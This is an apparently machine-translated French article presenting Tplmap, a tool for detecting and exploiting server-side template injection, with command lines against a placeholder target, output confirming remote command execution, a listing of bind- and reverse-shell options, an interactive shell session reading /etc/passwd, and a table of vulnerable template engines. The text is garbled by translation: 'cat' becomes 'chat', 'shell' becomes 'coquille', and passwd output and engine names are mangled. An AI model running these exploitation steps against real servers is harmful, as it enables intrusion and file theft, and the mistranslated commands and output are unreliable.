Lorsque vous effectuez un test de pénétration d’une page Web qui génère du contenu dynamique à l’aide de modèles avec des valeurs fournies par l’utilisateur, vous pouvez rencontrer une vulnérabilité d’injection de modèles côté serveur. L’identification manuelle du moteur du modèle auquel vous faites face et l’exploitation ultérieure peuvent être facilement automatisées à l’aide de l’outil Tplmap.
Tplmap est capable de détecter et d’utiliser SSTI dans plus d’une douzaine de types de moteurs modèles. Il a des fonctionnalités telles que la navigation dans le système de fichiers et l’exécution de commandes à distance sur un serveur attaqué.
$ ./tplmap.py -u 'http://www.target.com/page?name=John'
[+] Tplmap 0,5
Automatic Server-Side Frame Injection Detection and Exploitation Tool (en)
[+] Tester si le émetteur GET 'nom' est injectable
[+] Smarty plugin teste le rendu avec l’étiquette '
[+] Smarty plugin teste l’injection aveugle
[+] Mako plugin teste le rendu avec le tag '$ '
...
[+] Jinja2 plugin teste le rendu avec l’étiquette '
[+] Jinja2 plugin a confirmé l’injection avec l’étiquette ''
[+] Tplmap a identifié le point d’injection suivant :
GET paramètre: nom
Moteur: Jinja2
Injection :
Contexte: texte
OS: linux
Technique: rendu
Capacité:
Exécution de commande Shell: ok
Lier et inverser la coquille: ok
Écriture de fichier: ok
Fichier lu: ok
Code d’évaluation: ok, python code
[+] Rerun tplmap fournissant l’une des options suivantes:
--os-shell Exécuter shell sur la cible
--os-cmd Commandes de coquille d’exécution
--bind-shell PORT Connect to a shell bind to a target port
--reverse-shell HOST PORT Envoyer une coquille au port de l’attaquant
--télécharger local REMOTE Télécharger des fichiers sur le serveur
--télécharger REMOTE LOCAL Télécharger des fichiers à distance
Utilisez l’option --os-shell
pour exécuter pseudoterminal sur la cible.
$ ./tplmap.py --os-shell -u 'http://www.target.com/page?name=John'
[+] Tplmap 0,5
Automatic Server-Side Frame Injection Detection and Exploitation Tool (en)
[+] Exécutez des commandes sur le système d’exploitation.
linux $ whoami
www
linux $ chat /etc/passwd
racine:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
Tplmap prend en charge plus de 15 moteurs modèles :
Moteur | Exécution à distance des commandes | Aveugle | Évaluation du code | Lire le fichier | Enregistrement au fichier |
---|---|---|---|---|---|
Mako Mako | ✓ | ✓ | Python Python | ✓ | ✓ |
Jinja2 | ✓ | ✓ | Python Python | ✓ | ✓ |
Python (enval de code) | ✓ | ✓ | Python Python | ✓ | ✓ |
Tornade | ✓ | ✓ | Python Python | ✓ | ✓ |
Nunjucks Nunjucks | ✓ | ✓ | JavaScript (en) | ✓ | ✓ |
Pug Pug | ✓ | ✓ | JavaScript (en) | ✓ | ✓ |
doT (en) | ✓ | ✓ | JavaScript (en) | ✓ | ✓ |
Marko Marko | ✓ | ✓ | JavaScript (en) | ✓ | ✓ |
JavaScript (en cours de code) | ✓ | ✓ | JavaScript (en) | ✓ | ✓ |
Poussière (<= [email protected]) | ✓ | ✓ | JavaScript (en) | ✓ | ✓ |
EJS | ✓ | ✓ | JavaScript (en) | ✓ | ✓ |
Ruby Ruby (code eval) | ✓ | ✓ | Ruby Ruby Ruby | ✓ | ✓ |
Slim Slim | ✓ | ✓ | Ruby Ruby Ruby | ✓ | ✓ |
ERB | ✓ | ✓ | Ruby Ruby Ruby | ✓ | ✓ |
Smarty (non sécurisé) | ✓ | ✓ | PHPS | ✓ | ✓ |
HTML (code eval) | ✓ | ✓ | PHPS | ✓ | ✓ |
Twig Twig<=1.19) | ✓ | ✓ | PHPS | ✓ | ✓ |
Marqueur gratuit | ✓ | ✓ | × | ✓ | ✓ |
Vélocité | ✓ | ✓ | × | ✓ | ✓ |
Twig (>1.19) | × | × | × | × | × |
Smarty (sécurisé) | × | × | × | × | × |
Poussière (> [email protected]) | × | × | × | × | × |
Tplmap peut être trouvé sur githubie créateur – tplmap.